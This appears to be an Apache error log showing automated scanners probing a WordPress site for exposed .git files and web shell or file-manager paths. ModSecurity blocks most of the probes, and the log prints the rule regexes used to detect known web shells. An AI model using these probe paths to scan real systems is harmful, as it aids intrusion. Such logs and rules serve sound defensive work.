[Sun Nov 23 16:09:30.310855 2025] [:error] [pid 38739:tid 38791] [client 176.65.132.18:56942] [client 176.65.132.18] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "windfarmcoolants.com.au"] [uri "/.git/config"] [unique_id "aSLBOgdvEgJm2n2cDmrzhAAAAFY"]
[Sun Nov 23 16:37:47.250928 2025] [:error] [pid 38738:tid 38747] [client 140.99.1.5:49493] File does not exist: /usr/local/apache/htdocs/suspended-page/manager.php
[Sun Nov 23 16:37:47.348850 2025] [:error] [pid 38738:tid 38746] [client 140.99.1.5:49493] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Sun Nov 23 16:37:47.466174 2025] [:error] [pid 38738:tid 38756] [client 140.99.1.5:49493] File does not exist: /usr/local/apache/htdocs/suspended-page/O-Simple.php
[Sun Nov 23 16:37:47.582030 2025] [:error] [pid 38738:tid 38744] [client 140.99.1.5:49493] File does not exist: /usr/local/apache/htdocs/suspended-page/lock360.php
[Sun Nov 23 16:37:47.731246 2025] [:error] [pid 38738:tid 38759] [client 140.99.1.5:49493] File does not exist: /usr/local/apache/htdocs/suspended-page/zwso.php
[Sun Nov 23 16:37:47.873963 2025] [:error] [pid 38738:tid 38761] [client 140.99.1.5:49493] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Sun Nov 23 16:37:47.978408 2025] [:error] [pid 38738:tid 38742] [client 140.99.1.5:49493] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Sun Nov 23 16:37:48.097507 2025] [:error] [pid 38738:tid 38747] [client 140.99.1.5:49493] File does not exist: /usr/local/apache/htdocs/suspended-page/admin.php
[Sun Nov 23 16:37:48.318045 2025] [:error] [pid 38738:tid 38760] [client 140.99.1.5:49493] File does not exist: /usr/local/apache/htdocs/suspended-page/mah.php
[Sun Nov 23 16:37:48.612480 2025] [:error] [pid 38738:tid 38763] [client 140.99.1.5:49493] File does not exist: /usr/local/apache/htdocs/suspended-page/core.php
[Sun Nov 23 16:37:48.715689 2025] [:error] [pid 38738:tid 38766] [client 140.99.1.5:49493] File does not exist: /usr/local/apache/htdocs/suspended-page/robots.php
[Sun Nov 23 16:37:48.841080 2025] [:error] [pid 38738:tid 38742] [client 140.99.1.5:49493] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Sun Nov 23 16:37:48.963907 2025] [:error] [pid 38738:tid 38751] [client 140.99.1.5:49493] File does not exist: /usr/local/apache/htdocs/suspended-page/mini.php
[Sun Nov 23 16:37:49.085846 2025] [:error] [pid 38738:tid 38747] [client 140.99.1.5:49493] File does not exist: /usr/local/apache/htdocs/suspended-page/goods.php
[Sun Nov 23 16:37:49.205834 2025] [:error] [pid 38738:tid 38749] [client 140.99.1.5:49493] File does not exist: /usr/local/apache/htdocs/suspended-page/file5.php
[Sun Nov 23 16:37:49.355738 2025] [:error] [pid 38738:tid 38760] [client 140.99.1.5:49493] File does not exist: /usr/local/apache/htdocs/suspended-page/ahax.php
[Sun Nov 23 16:37:49.581993 2025] [:error] [pid 38738:tid 38764] [client 140.99.1.5:49493] [client 140.99.1.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/f35.php"] [unique_id "aSLH3Qytc6TL9XavPmPhuAAAABY"]
[Sun Nov 23 16:37:49.776250 2025] [:error] [pid 38739:tid 38791] [client 140.99.1.52:37279] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Sun Nov 23 16:37:49.932143 2025] [:error] [pid 38739:tid 38793] [client 140.99.1.52:37279] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Sun Nov 23 16:37:56.735947 2025] [:error] [pid 38739:tid 38776] [client 140.99.1.52:37279] [client 140.99.1.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aSLH5AdvEgJm2n2cDmoRigAAAEc"]
[Sun Nov 23 16:37:57.363468 2025] [:error] [pid 38824:tid 38831] [client 140.99.1.17:56025] [client 140.99.1.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aSLH5U8WZjXLvbHTHPeeswAAAMQ"]
[Sun Nov 23 16:37:57.908719 2025] [:error] [pid 14602:tid 14628] [client 140.99.1.42:62051] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Sun Nov 23 16:37:58.223135 2025] [:error] [pid 14602:tid 14645] [client 140.99.1.42:62051] [client 140.99.1.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aSLH5h-I77jdD81pU-l_CgAAAVg"]
[Sun Nov 23 16:37:58.743116 2025] [:error] [pid 14602:tid 14624] [client 140.99.1.76:38509] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Sun Nov 23 16:37:58.844187 2025] [:error] [pid 14602:tid 14636] [client 140.99.1.76:38509] [client 140.99.1.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aSLH5h-I77jdD81pU-l_GwAAAU8"]
[Sun Nov 23 16:37:59.145397 2025] [:error] [pid 38739:tid 38784] [client 140.99.1.53:60497] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
[Sun Nov 23 16:37:59.928027 2025] [:error] [pid 38739:tid 38778] [client 140.99.1.53:60497] [client 140.99.1.53] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/fix.php7"] [unique_id "aSLH5wdvEgJm2n2cDmoR3AAAAEk"]
[Sun Nov 23 16:38:00.441660 2025] [:error] [pid 44652:tid 44721] [client 140.99.1.68:24573] [client 140.99.1.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aSLH6NiQFwsyXQDhwyCYbgAAAQ8"]
[Sun Nov 23 16:38:00.898508 2025] [:error] [pid 38740:tid 38817] [client 140.99.1.75:20435] [client 140.99.1.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aSLH6A13QPZSi6O8umV9HwAAAJU"]
[Sun Nov 23 16:38:01.083005 2025] [:error] [pid 44652:tid 44708] [client 140.99.1.65:42789] [client 140.99.1.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aSLH6diQFwsyXQDhwyCYdgAAAQI"]
[Sun Nov 23 16:38:01.283717 2025] [:error] [pid 38740:tid 38805] [client 140.99.1.47:61341] [client 140.99.1.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aSLH6Q13QPZSi6O8umV9NwAAAIk"]
[Sun Nov 23 16:38:01.485680 2025] [:error] [pid 14602:tid 14631] [client 140.99.1.72:22437] [client 140.99.1.72] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aSLH6R-I77jdD81pU-l_VQAAAUo"]
[Sun Nov 23 16:38:01.755278 2025] [:error] [pid 38740:tid 38803] [client 140.99.1.20:27523] [client 140.99.1.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aSLH6Q13QPZSi6O8umV9TAAAAIc"]
[Sun Nov 23 16:38:02.059373 2025] [:error] [pid 38739:tid 38784] [client 140.99.1.74:48475] [client 140.99.1.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aSLH6gdvEgJm2n2cDmoR_wAAAE8"]
[Sun Nov 23 16:38:02.273773 2025] [:error] [pid 44652:tid 44714] [client 140.99.1.26:56217] File does not exist: /usr/local/apache/htdocs/suspended-page/inc.php
[Sun Nov 23 16:38:02.556815 2025] [:error] [pid 44652:tid 44726] [client 140.99.1.26:56217] [client 140.99.1.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager.php"] [unique_id "aSLH6tiQFwsyXQDhwyCYjAAAARQ"]
[Sun Nov 23 16:38:02.969950 2025] [:error] [pid 44652:tid 44706] [client 140.99.1.38:35807] [client 140.99.1.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aSLH6tiQFwsyXQDhwyCYlgAAAQA"]
[Sun Nov 23 16:38:03.308515 2025] [:error] [pid 38739:tid 38769] [client 140.99.1.26:60357] [client 140.99.1.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aSLH6wdvEgJm2n2cDmoSGgAAAEA"]
[Sun Nov 23 16:38:03.493482 2025] [:error] [pid 38740:tid 38797] [client 140.99.1.69:64721] File does not exist: /usr/local/apache/htdocs/suspended-page/function.php
[Sun Nov 23 16:38:03.676853 2025] [:error] [pid 38740:tid 38807] [client 140.99.1.69:64721] [client 140.99.1.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aSLH6w13QPZSi6O8umV9awAAAIs"]
[Sun Nov 23 16:38:04.047912 2025] [:error] [pid 38740:tid 38812] [client 140.99.1.62:43667] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-signup.php
[Sun Nov 23 16:38:04.383996 2025] [:error] [pid 38740:tid 38818] [client 140.99.1.62:43667] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog.php
[Sun Nov 23 16:38:04.790005 2025] [:error] [pid 38740:tid 38814] [client 140.99.1.62:43667] [client 140.99.1.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aSLH7A13QPZSi6O8umV9gQAAAJI"]
[Sun Nov 23 16:38:05.009822 2025] [:error] [pid 44652:tid 44713] [client 140.99.1.27:34145] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-l0gin.php
[Sun Nov 23 16:38:05.160858 2025] [:error] [pid 44652:tid 44721] [client 140.99.1.27:34145] [client 140.99.1.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aSLH7diQFwsyXQDhwyCYyAAAAQ8"]
[Sun Nov 23 16:38:05.373737 2025] [:error] [pid 44652:tid 44707] [client 140.99.1.18:51445] File does not exist: /usr/local/apache/htdocs/suspended-page/new.php
[Sun Nov 23 16:38:05.569008 2025] [:error] [pid 44652:tid 44730] [client 140.99.1.18:51445] [client 140.99.1.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aSLH7diQFwsyXQDhwyCYzwAAARg"]
[Sun Nov 23 16:38:05.990905 2025] [:error] [pid 38738:tid 38749] [client 140.99.1.68:40549] [client 140.99.1.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aSLH7Qytc6TL9XavPmPi1wAAAAc"]
[Sun Nov 23 16:38:06.442076 2025] [:error] [pid 38739:tid 38776] [client 140.99.1.15:58725] File does not exist: /usr/local/apache/htdocs/suspended-page/natural.php
[Sun Nov 23 16:38:06.591876 2025] [:error] [pid 38739:tid 38787] [client 140.99.1.15:58725] File does not exist: /usr/local/apache/htdocs/suspended-page/item.php
[Sun Nov 23 16:38:06.951772 2025] [:error] [pid 38739:tid 38778] [client 140.99.1.15:58725] [client 140.99.1.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aSLH7gdvEgJm2n2cDmoSUAAAAEk"]
[Sun Nov 23 16:38:07.313737 2025] [:error] [pid 38738:tid 38742] [client 140.99.1.16:46173] [client 140.99.1.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aSLH7wytc6TL9XavPmPi7QAAAAA"]
[Sun Nov 23 16:38:07.714127 2025] [:error] [pid 14602:tid 14633] [client 140.99.1.9:62637] [client 140.99.1.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aSLH7x-I77jdD81pU-l_1gAAAUw"]
[Sun Nov 23 16:38:07.903702 2025] [:error] [pid 44652:tid 44715] [client 140.99.1.17:31673] [client 140.99.1.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aSLH79iQFwsyXQDhwyCY6AAAAQk"]
[Sun Nov 23 16:38:08.164719 2025] [:error] [pid 44652:tid 44713] [client 140.99.1.16:20875] [client 140.99.1.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aSLH8NiQFwsyXQDhwyCY6wAAAQc"]
[Sun Nov 23 16:38:08.721501 2025] [:error] [pid 14602:tid 14643] [client 140.99.1.28:62119] File does not exist: /usr/local/apache/htdocs/suspended-page/default.php
[Sun Nov 23 16:38:08.828300 2025] [:error] [pid 14602:tid 14632] [client 140.99.1.28:62119] [client 140.99.1.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aSLH8B-I77jdD81pU-l_-QAAAUs"]
[Sun Nov 23 16:38:09.030907 2025] [:error] [pid 44652:tid 44728] [client 140.99.1.53:39443] [client 140.99.1.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aSLH8diQFwsyXQDhwyCY8gAAARY"]
[Sun Nov 23 16:38:10.328903 2025] [:error] [pid 38740:tid 38805] [client 140.99.1.6:54755] [client 140.99.1.6] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aSLH8g13QPZSi6O8umV93gAAAIk"]
[Sun Nov 23 16:38:10.757274 2025] [:error] [pid 38738:tid 38759] [client 140.99.1.44:60463] File does not exist: /usr/local/apache/htdocs/suspended-page/dropdown.php
[Sun Nov 23 16:38:11.089861 2025] [:error] [pid 38738:tid 38754] [client 140.99.1.44:60463] File does not exist: /usr/local/apache/htdocs/suspended-page/db.php
[Sun Nov 23 16:38:11.489188 2025] [:error] [pid 38738:tid 38749] [client 140.99.1.44:60463] [client 140.99.1.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aSLH8wytc6TL9XavPmPjOAAAAAc"]
[Sun Nov 23 16:38:12.247902 2025] [:error] [pid 38740:tid 38811] [client 140.99.1.62:51497] [client 140.99.1.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.62, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aSLH9A13QPZSi6O8umV-CQAAAI8"]
[Sun Nov 23 16:38:12.348626 2025] [:error] [pid 38740:tid 38806] [client 140.99.1.62:51497] File does not exist: /usr/local/apache/htdocs/suspended-page/install.php
[Sun Nov 23 16:38:13.025313 2025] [:error] [pid 38740:tid 38813] [client 140.99.1.62:51497] File does not exist: /usr/local/apache/htdocs/suspended-page/bypass.php
[Sun Nov 23 16:38:19.135769 2025] [:error] [pid 38740:tid 38813] [client 140.99.1.62:51497] File does not exist: /usr/local/apache/htdocs/suspended-page/class.php
[Sun Nov 23 16:38:20.186968 2025] [:error] [pid 38740:tid 38813] [client 140.99.1.62:51497] [client 140.99.1.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aSLH_A13QPZSi6O8umV-jAAAAJE"]
[Sun Nov 23 16:38:20.521012 2025] [:error] [pid 38738:tid 38763] [client 140.99.1.15:35439] File does not exist: /usr/local/apache/htdocs/suspended-page/init.php
[Sun Nov 23 16:38:20.707836 2025] [:error] [pid 38738:tid 38766] [client 140.99.1.15:35439] [client 140.99.1.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 140.99.1.15, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aSLH_Aytc6TL9XavPmPjyAAAABg"]
[Sun Nov 23 16:38:20.945023 2025] [:error] [pid 38738:tid 38751] [client 140.99.1.15:35439] [client 140.99.1.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/item.php"] [unique_id "aSLH_Aytc6TL9XavPmPjzgAAAAk"]
[Sun Nov 23 16:38:21.595134 2025] [:error] [pid 38738:tid 38754] [client 140.99.1.33:46521] File does not exist: /usr/local/apache/htdocs/suspended-page/adminfuns.php
[Sun Nov 23 16:38:21.987354 2025] [:error] [pid 38738:tid 38763] [client 140.99.1.33:46521] File does not exist: /usr/local/apache/htdocs/suspended-page/wp_wlx.php
[Sun Nov 23 16:38:22.208968 2025] [:error] [pid 38738:tid 38743] [client 140.99.1.33:46521] [client 140.99.1.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aSLH_gytc6TL9XavPmPj6QAAAAE"]
[Sun Nov 23 16:38:22.432564 2025] [:error] [pid 44652:tid 44727] [client 140.99.1.42:26481] File does not exist: /usr/local/apache/htdocs/suspended-page/wp.php
[Sun Nov 23 16:38:22.816914 2025] [:error] [pid 44652:tid 44720] [client 140.99.1.42:26481] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-header.php
[Sun Nov 23 16:38:23.050007 2025] [:error] [pid 44652:tid 44729] [client 140.99.1.42:26481] File does not exist: /usr/local/apache/htdocs/suspended-page/Marvins.php
[Sun Nov 23 16:38:23.649690 2025] [:error] [pid 44652:tid 44727] [client 140.99.1.42:26481] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class.php
[Sun Nov 23 16:38:23.751057 2025] [:error] [pid 44652:tid 44726] [client 140.99.1.42:26481] [client 140.99.1.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aSLH_9iQFwsyXQDhwyCZ2AAAARQ"]
[Sun Nov 23 16:38:24.008087 2025] [:error] [pid 38739:tid 38771] [client 140.99.1.73:55273] File does not exist: /usr/local/apache/htdocs/suspended-page/xx.php
[Sun Nov 23 16:38:24.187342 2025] [:error] [pid 38739:tid 38777] [client 140.99.1.73:55273] File does not exist: /usr/local/apache/htdocs/suspended-page/autoload_classmap.php
